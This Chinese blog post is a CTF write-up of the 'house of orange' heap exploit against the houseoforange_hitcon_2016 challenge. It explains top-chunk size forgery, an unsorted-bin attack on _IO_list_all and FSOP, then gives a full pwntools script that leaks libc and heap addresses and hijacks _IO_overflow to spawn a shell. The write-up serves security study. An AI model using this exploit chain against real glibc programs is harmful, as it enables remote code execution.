house of orange(没有free情况下获得一个unsortedbin)
之前就已经了解了house of orange但是没有写博客记录,这几天正好把buu上前几页当时没写的写了一下,其中就有著名的house of orange
实现效果:
house of orange可以实现程序无free的情况下,放入一个unsortedbin
条件:
能控制topchunk->size,能分配的chunk的大小也要大于伪造后的topchunk->size
单一效果薄弱但是如果配合unsortedbin&FSOP等攻击方法就能实现很不错的效果,如此巧妙的利用链早在2016年就被hitcon战队的orange师傅发现实在是太强了,并且据我了解在2017年orange大佬又在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门(Orz)
例题:houseoforange_hitcon_2016
保护开满,且根据功能来看是没有free的,进IDA看一下
漏洞在upgrade处,会重新根据输入的size来写入内容,造成堆溢出,程序没有给free,我们的house of orange就派上用场了
我们可以利用堆溢出伪造topchunk的size但是这个size也要满足一定条件
1.size必须要对齐到内存页,分配的内存大小加上top chunk size,需要是0x1000的倍数。
2.pre_inuse位为1
3.size不能小于最小chunk的大小
我们先申请一个0x10,程序会创建三个0x20的chunk,第一个是管理块,第二个是我们控制的内容块,
我们利用堆溢出修改topchunk->size = 0x1000-0x60+1 = 0xfa1,此时再申请个大于0xfa1的chunk就把fake_topchunk free掉了
add(0x10, b'aaaa')
edit(0x100, b'a'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'aaaa')
这时候我们再申请一个chunk会带出残留指针和堆地址,当然这个chunk需要是一个largechunk才能带出堆地址
add(0x400, b'a' * 8)
show()
io.recvuntil(b'Name of house : ')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
edit(0x20,b'a'*0x10)
show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base ========================>'+hex(heap_base))
接下来要利用unsortedbin attack&FSOP
unsortedbin attack
在malloc.c中的_int_malloc有一段关于Unsorted bin chunk摘除的代码:
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
看后两行就好了,unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),
后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制
unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),
即unsorted_chunk的块地址写到任意可写地址内。
假设我们想修改的地址为A,那么我们控制BK = A - 0x10即可
像这样我们可以将main_arena+88写进_IO_list_all这么做是为了进行FSOP
FSOP
进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
IO_FILE结构体:
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
vtable:
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
IO_FILE利用时,在libc版本低于2.27的时候,可以利用调用链malloc_printerr->_libc_message->abort->_IO_flush_all_lockup->_IO_overflow,根据条件伪造IO_FILE结构,vtable表,触发system(/bin/sh)或者one_gadget
在glibc2.23libio 的genops.c的779行可以看到我们需要满足的条件 ,我们可以选择让mode <= 0,IO_write_ptr=1,IO_write_base=0就行 且参数是fp也就是flag字段,我们可以在这写'/bin/sh'劫持io_overflow为system
那么为什么让main_arena+88写进_IO_list_all,因为chain的偏移为0x68 main_arena+88+0x68是smallbin[0x60]的位置,我们可以放进一个伪造的smallbin,在其中布置好iofile结构
看一下IO_list_all
已经是链到smallbin了,这里我们提前布置好iofile结构
payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)
payload+=b'/bin/sh\x00'+p64(0x61) #伪造unsortedbin的size,让其落入0x60的smallbin
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1) #_IO_write_base & _IO_write_ptr
payload+=p64(0)*21
payload+=p64(heap_base+0x10) #vtable
edit(0x1000,payload)
io.sendlineafter('Your choice : ',str(1))
到此整个利用过程就结束了
但是成功率并不是%100,因为上面要满足的条件中还有一个mode字段要<=0
这个字段是4字节,那么如果p _IO_list_all的低四字节小于0x7fffffff,mode为正 否则为负,我们需要让mode为负才行,所以成功率并不是%100
exp:
#coding:utf8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',29268)
#io = process('./houseoforange_hitcon_2016')
elf = ELF('./houseoforange_hitcon_2016')
#libc = elf.libc
libc = ELF('./libc-2.23-64.so')
def add(length, name):
io.sendlineafter("Your choice : ", "1")
io.sendlineafter("Length of name :", str(length))
io.sendafter("Name :", name)
io.sendlineafter("Price of Orange:", str(1))
io.sendlineafter("Color of Orange:", str(2))
def show():
io.sendlineafter("Your choice : ", "2")
def edit(length, name):
io.sendlineafter("Your choice : ", "3")
io.sendlineafter("Length of name :", str(length))
io.sendafter("Name:", name)
io.sendlineafter("Price of Orange: ", str(1))
io.sendlineafter("Color of Orange: ", str(2))
add(0x10, b'aaaa')
edit(0x100, b'b'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'cccc')
add(0x400, b'a' * 8)
show()
io.recvuntil(b'Name of house : ')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
edit(0x20,b'a'*0x10)
show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base ========================>'+hex(heap_base))
payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)
payload+=b'/bin/sh\x00'+p64(0x61)
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1) #_IO_write_base & _IO_write_ptr
payload+=p64(0)*21
payload+=p64(heap_base+0x10)
edit(0x1000,payload)
io.sendlineafter('Your choice : ',str(1))
io.interactive()
标签:p64,io,libc,house,free,JUMP,base,IO,orange
From: https://www.cnblogs.com/s4ndw1ch/p/17789874.html